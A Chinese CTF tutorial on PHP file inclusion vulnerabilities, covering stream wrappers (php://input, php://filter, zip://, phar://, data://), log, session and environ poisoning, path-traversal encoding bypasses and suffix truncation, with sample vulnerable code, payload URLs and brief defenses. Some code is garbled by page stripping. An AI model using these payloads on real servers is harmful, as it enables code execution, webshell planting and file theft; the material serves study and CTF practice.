热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

文件包含漏洞基础

CTF中文件包含漏洞总结0x01什么是文件包含漏洞通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可
CTF中文件包含漏洞总结

0x01 什么是文件包含漏洞

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

0x02 文件包含漏洞的环境要求

  • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
  • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

0x03 常见文件包含函数

php中常见的文件包含函数有以下四种:

  • include()
  • require()
  • include_once()
  • require_once()

include与require基本是相同的,除了错误处理方面:

  • include(),只生成警告(E_WARNING),并且脚本会继续
  • require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
  • include_once()与require_once(),如果文件已包含,则不会包含,其他特性如上

0x04 PHP伪协议

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

一、php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
在这里插入图片描述

Example 1: 造成任意代码执行

<meta charset&#61;"utf8">

error_reporting(0);
$file &#61; $_GET["file"];
if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){exit(&#39;hacker!&#39;);
}
if($file){if ($file!&#61;"http://www.baidu.com") echo "tips&#xff1a;flag在当前目录的某个文件中";include($file);
}else{echo &#39;click go baidu&#39;;
}
?>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
注&#xff1a;利用php://input还可以写入php木马,即在post中传入如下代码&#xff1a;

&#39;);?>

  • 1

Example 2&#xff1a; 文件内容绕过

//test.php

show_source(__FILE__);
include(&#39;flag.php&#39;);
$a&#61; $_GET["a"];
if(isset($a)&&(file_get_contents($a,&#39;r&#39;)) &#61;&#61;&#61; &#39;I want flag&#39;){echo "success\n";echo $flag;
}

//flag.php

$flag &#61; ‘flag{flag_is_here}’;
?>


  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

审计test.php知&#xff0c;当参数$a不为空&#xff0c;且读取的文件中包含’I want flag’时&#xff0c;即可显示$flag。所以可以使用php://input得到原始的post数据,访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行来进行绕过。
注&#xff1a;遇到file_get_contents()要想到用php://input绕过。

在这里插入图片描述

二、php://filter

php://filter可以获取指定文件源码。当它与包含函数结合时&#xff0c;php://filter流会被当作php文件执行。所以我们一般对其进行编码&#xff0c;让其不执行。从而导致 任意文件读取。
在这里插入图片描述
在这里插入图片描述
POC1直接读取xxx.php文件&#xff0c;但大多数时候很多信息无法直接显示在浏览器页面上&#xff0c;所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上&#xff0c;再自行解码。

注&#xff1a;更多php://filter用法可参考&#xff1a;谈一谈php://filter的妙用

Example 1&#xff1a;

<meta charset&#61;"utf8">

error_reporting(0);
$file &#61; $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){exit(&#39;hacker!&#39;);
}
if($file){include($file);
}else{echo &#39;tips&#39;;
}
?>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

1.点击tip后进入如下页面&#xff0c;看到url中出现file&#61;flag.php&#xff0c;如下&#xff1a;
在这里插入图片描述
2.尝试payload&#xff1a;?file&#61;php://filter/resource&#61;flag.php&#xff0c;发现无法显示内容&#xff1a;
在这里插入图片描述
3.尝试payload&#xff1a;?file&#61;php://filter/read&#61;convert.base64-encode/resource&#61;flag.php&#xff0c;得到一串base64字符&#xff0c;解码得flag在flag.php源码中的注释里&#xff1a;

在这里插入图片描述

三、zip://

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时&#xff0c;zip://流会被当作php文件执行。从而实现任意代码执行。

  • zip://中只能传入绝对路径。
  • 要用#分隔压缩包和压缩包里的内容&#xff0c;并且#要用url编码%23&#xff08;即下述POC中#要用%23替换&#xff09;
  • 只需要是zip的压缩包即可&#xff0c;后缀名可以任意更改。
  • 相同的类型的还有zlib://和bzip2://
    在这里插入图片描述
    Example 1&#xff1a;

//index.php
<meta charset&#61;"utf8">

error_reporting(0);
$file &#61; $_GET["file"];
if (!$file) echo &#39;upload?&#39;;
if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){echo "hick?";exit();
}else{include($file.".php");
}
?>
<!-- flag在当前目录的某个文件中 -->

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

//upload.php
<meta charset&#61;"utf-8">
<form action&#61;"upload.php" method&#61;"post" enctype&#61;"multipart/form-data" ><input type&#61;"file" name&#61;"fupload" /><input type&#61;"submit" value&#61;"upload!" />
</form>
you can upload jpg,png,zip....<br />

if( isset( $_FILES[&#39;fupload&#39;] ) ) {$uploaded_name &#61; $_FILES[ &#39;fupload&#39; ][ &#39;name&#39; ]; //文件名$uploaded_ext &#61; substr( $uploaded_name, strrpos( $uploaded_name, &#39;.&#39; ) &#43; 1); //文件后缀$uploaded_size &#61; $_FILES[ &#39;fupload&#39; ][ &#39;size&#39; ]; //文件大小$uploaded_tmp &#61; $_FILES[ &#39;fupload&#39; ][ &#39;tmp_name&#39; ]; // 存储在服务器的文件的临时副本的名称$target_path &#61; "uploads\\".md5(uniqid(rand())).".".$uploaded_ext;if( ( strtolower( $uploaded_ext ) &#61;&#61; "jpg" || strtolower( $uploaded_ext ) &#61;&#61; "jpeg" || strtolower( $uploaded_ext ) &#61;&#61; "png" || strtolower( $uploaded_ext ) &#61;&#61; "zip" ) &&( $uploaded_size < 100000 ) ) {if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho &#39;

upload error
&#39;;}else {// Yes!echo "
".dirname(__FILE__)."\\{$target_path} succesfully uploaded!
"
;}}else {echo &#39;
you can upload jpg,png,zip....
&#39;
;}
}?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28

四、data://与phar://

data:// 同样类似与php://input&#xff0c;可以让用户来控制输入流&#xff0c;当它与包含函数结合时&#xff0c;用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
在这里插入图片描述

phar:// 有点类似zip://同样可以导致 任意代码执行。

  • phar://中相对路径和绝对路径都可以使用
    在这里插入图片描述


0x05 包含Apache日志文件

  WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容&#xff0c;精心构造请求&#xff0c;把PHP代码插入到日志文件中&#xff0c;通过文件包含漏洞来执行日志中的PHP代码。
在这里插入图片描述
在这里插入图片描述
  Apache运行后一般默认会生成两个日志文件&#xff0c;Windos下是access.log&#xff08;访问日志&#xff09;和error.log(错误日志)&#xff0c;Linux下是access_log和error_log&#xff0c;访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
  如果访问一个不存在的资源时&#xff0c;如http://www.xxxx.com/,则会记录在日志中&#xff0c;但是代码中的敏感字符会被浏览器转码&#xff0c;我们可以通过burpsuit绕过编码&#xff0c;就可以把 写入apache的日志文件&#xff0c;然后可以通过包含日志文件来执行此代码&#xff0c;但前提是你得知道apache日志文件的存储路径&#xff0c;所以为了安全起见&#xff0c;安装apache时尽量不要使用默认路径。

参考文章&#xff1a;1.包含日志文件getshell
     2.一道包含日志文件的CTF题

0x06 包含SESSION

可以先根据尝试包含到SESSION文件&#xff0c;在根据文件内容寻找可控变量&#xff0c;在构造payload插入到文件中&#xff0c;最后包含即可。

利用条件&#xff1a;

  • 找到Session内的可控变量
  • Session文件可读写&#xff0c;并且知道存储路径

php的session文件的保存路径可以在phpinfo的session.save_path看到。
在这里插入图片描述
session常见存储路径&#xff1a;

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID
  • session文件格式&#xff1a; sess_[phpsessid] &#xff0c;而 phpsessid 在发送的请求的 COOKIE 字段中可以看到。

参考文章&#xff1a;一道SESSION包含的CTF题

0x06 包含/pros/self/environ

proc/self/environ中会保存user-agent头&#xff0c;如果在user-agent中插入php代码&#xff0c;则php代码会被写入到environ中&#xff0c;之后再包含它&#xff0c;即可。

利用条件&#xff1a;

  • php以cgi方式运行&#xff0c;这样environ才会保持UA头。
  • environ文件存储位置已知&#xff0c;且environ文件可读。

参考文章&#xff1a;proc / self / environ Injection

0x07 包含临时文件


  • 1
  • 2
  • 3
  • 4
  • 5

假设已经上传一句话图片木马到服务器&#xff0c;路径为/upload/201811.jpg
图片代码如下&#xff1a;

")?>

  • 1

然后访问URL&#xff1a;http://www.xxxx.com/index.php?page&#61;./upload/201811.jpg&#xff0c;包含这张图片&#xff0c;将会在index.php所在的目录下生成shell.php

0x09 其他包含姿势


  • 包含SMTP(日志)
  • 包含xss




文件包含漏洞的绕过方法


0x09 指定前缀绕过


一、目录遍历

使用 ../../ 来返回上一目录&#xff0c;被称为目录遍历(Path Traversal)。例如 ?file&#61;../../phpinfo/phpinfo.php
测试代码如下&#xff1a;

error_reporting(0);$file &#61; $_GET["file"];//前缀include "/var/www/html/".$file;

highlight_file(__FILE__);

?>


  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

现在在/var/log目录下有文件flag.txt&#xff0c;则利用…/可以进行目录遍历&#xff0c;比如我们尝试访问&#xff1a;

include.php?file&#61;../../log/flag.txt

  • 1

则服务器端实际拼接出来的路径为&#xff1a;/var/www/html/../../log/test.txt&#xff0c;即 /var/log/flag.txt&#xff0c;从而包含成功。

二、编码绕过

服务器端常常会对于../等做一些过滤&#xff0c;可以用一些编码来进行绕过。
1.利用url编码

  • ../

    • %2e%2e%2f
    • ..%2f
    • %2e%2e/
  • ..\

    • %2e%2e%5c
    • ..%5c
    • %2e%2e\

2.二次编码

  • ../
    • %252e%252e%252f
  • ..\
    • %252e%252e%255c

3.容器/服务器的编码方式

  • ../

    • ..%c0%af

      • 注&#xff1a;Why does Directory traversal attack %C0%AF work?
    • %c0%ae%c0%ae/

      • 注&#xff1a;java中会把”%c0%ae”解析为”\uC0AE”&#xff0c;最后转义为ASCCII字符的”.”&#xff08;点&#xff09;
        Apache Tomcat Directory Traversal
  • ..\

    • ..%c1%9c



0x10 指定后缀绕过

后缀绕过测试代码如下&#xff0c;下述各后缀绕过方法均使用此代码&#xff1a;

error_reporting(0);$file &#61; $_GET["file"];//后缀include $file.".txt";

highlight_file(__FILE__);

?>


  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

一、利用url

在远程文件包含漏洞&#xff08;RFI&#xff09;中&#xff0c;可以利用query或fragment来绕过后缀限制。
可参考此文章&#xff1a;URI’s fragment

完整url格式&#xff1a;

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

  • 1

query(?)

  • [访问参数] ?file&#61;http://localhost:8081/phpinfo.php?
  • [拼接后]  ?file&#61;http://localhost:8081/phpinfo.php?.txt

Example&#xff1a;&#xff08;设在根目录下有flag2.txt文件&#xff09;
在这里插入图片描述
在这里插入图片描述
fragment(#)

  • [访问参数] ?file&#61;http://localhost:8081/phpinfo.php%23
  • [拼接后]  ?file&#61;http://localhost:8081/phpinfo.php#.txt

Example&#xff1a;&#xff08;设在根目录下有flag2.txt文件&#xff09;
在这里插入图片描述
在这里插入图片描述

二、利用协议

利用zip://和phar://&#xff0c;由于整个压缩包都是我们的可控参数&#xff0c;那么只需要知道他们的后缀&#xff0c;便可以自己构建。

zip://

  • [访问参数] ?file&#61;zip://D:\zip.jpg%23phpinfo
  • [拼接后]  ?file&#61;zip://D:\zip.jpg#phpinfo.txt

phar://

  • [访问参数] ?file&#61;phar://zip.zip/phpinfo
  • [拼接后]  ?file&#61;phar://zip.zip/phpinfo.txt

Example&#xff1a;
(我的环境根目录中有php.zip压缩包&#xff0c;内含phpinfo.txt&#xff0c;其中包含代码)&#xff09;
所以分别构造payload为&#xff1a;

?file&#61;zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo
在这里插入图片描述
?file&#61;phar://../../php.zip/phpinfo
在这里插入图片描述

三、长度截断

利用条件&#xff1a;

  • php版本

原理&#xff1a;

  • Windows下目录最大长度为256字节&#xff0c;超出的部分会被丢弃
  • Linux下目录最大长度为4096字节&#xff0c;超出的部分会被丢弃。

利用方法&#xff1a;

  • 只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)

    ?file&#61;./././。。。省略。。。././shell.php

    • 1

则指定的后缀.txt会在达到最大值后会被直接丢弃掉

四、%00截断

利用条件&#xff1a;

  • magic_quotes_gpc &#61; Off
  • php版本

利用方法&#xff1a;

  • 直接在文件名的最后加上%00来截断指定的后缀名

    ?file&#61;shell.php%00

    • 1

注&#xff1a;现在用到%00阶段的情况已经不多了





文件包含漏洞防御


  • allow_url_include和allow_url_fopen最小权限化

  • 设置open_basedir&#xff08;open_basedir 将php所能打开的文件限制在指定的目录树中&#xff09;

  • 白名单限制包含文件&#xff0c;或者严格过滤 . / \


推荐阅读
  • 如何查询zone下的表的信息
    本文介绍了如何通过TcaplusDB知识库查询zone下的表的信息。包括请求地址、GET请求参数说明、返回参数说明等内容。通过curl方法发起请求,并提供了请求示例。 ... [详细]
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • CF:3D City Model(小思维)问题解析和代码实现
    本文通过解析CF:3D City Model问题,介绍了问题的背景和要求,并给出了相应的代码实现。该问题涉及到在一个矩形的网格上建造城市的情景,每个网格单元可以作为建筑的基础,建筑由多个立方体叠加而成。文章详细讲解了问题的解决思路,并给出了相应的代码实现供读者参考。 ... [详细]
  • 本文介绍了在Windows环境下如何配置php+apache环境,包括下载php7和apache2.4、安装vc2015运行时环境、启动php7和apache2.4等步骤。希望对需要搭建php7环境的读者有一定的参考价值。摘要长度为169字。 ... [详细]
  • 本文介绍了在mac环境下使用nginx配置nodejs代理服务器的步骤,包括安装nginx、创建目录和文件、配置代理的域名和日志记录等。 ... [详细]
  • Spring常用注解(绝对经典),全靠这份Java知识点PDF大全
    本文介绍了Spring常用注解和注入bean的注解,包括@Bean、@Autowired、@Inject等,同时提供了一个Java知识点PDF大全的资源链接。其中详细介绍了ColorFactoryBean的使用,以及@Autowired和@Inject的区别和用法。此外,还提到了@Required属性的配置和使用。 ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • 本文介绍了OC学习笔记中的@property和@synthesize,包括属性的定义和合成的使用方法。通过示例代码详细讲解了@property和@synthesize的作用和用法。 ... [详细]
  • 本文主要解析了Open judge C16H问题中涉及到的Magical Balls的快速幂和逆元算法,并给出了问题的解析和解决方法。详细介绍了问题的背景和规则,并给出了相应的算法解析和实现步骤。通过本文的解析,读者可以更好地理解和解决Open judge C16H问题中的Magical Balls部分。 ... [详细]
  • Linux环境变量函数getenv、putenv、setenv和unsetenv详解
    本文详细解释了Linux中的环境变量函数getenv、putenv、setenv和unsetenv的用法和功能。通过使用这些函数,可以获取、设置和删除环境变量的值。同时给出了相应的函数原型、参数说明和返回值。通过示例代码演示了如何使用getenv函数获取环境变量的值,并打印出来。 ... [详细]
  • 本文介绍了PE文件结构中的导出表的解析方法,包括获取区段头表、遍历查找所在的区段等步骤。通过该方法可以准确地解析PE文件中的导出表信息。 ... [详细]
  • 成功安装Sabayon Linux在thinkpad X60上的经验分享
    本文分享了作者在国庆期间在thinkpad X60上成功安装Sabayon Linux的经验。通过修改CHOST和执行emerge命令,作者顺利完成了安装过程。Sabayon Linux是一个基于Gentoo Linux的发行版,可以将电脑快速转变为一个功能强大的系统。除了作为一个live DVD使用外,Sabayon Linux还可以被安装在硬盘上,方便用户使用。 ... [详细]
  • C++中的三角函数计算及其应用
    本文介绍了C++中的三角函数的计算方法和应用,包括计算余弦、正弦、正切值以及反三角函数求对应的弧度制角度的示例代码。代码中使用了C++的数学库和命名空间,通过赋值和输出语句实现了三角函数的计算和结果显示。通过学习本文,读者可以了解到C++中三角函数的基本用法和应用场景。 ... [详细]
author-avatar
mobiledu2502896807
这个家伙很懒,什么也没留下!
Tags | 热门标签
RankList | 热门文章
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有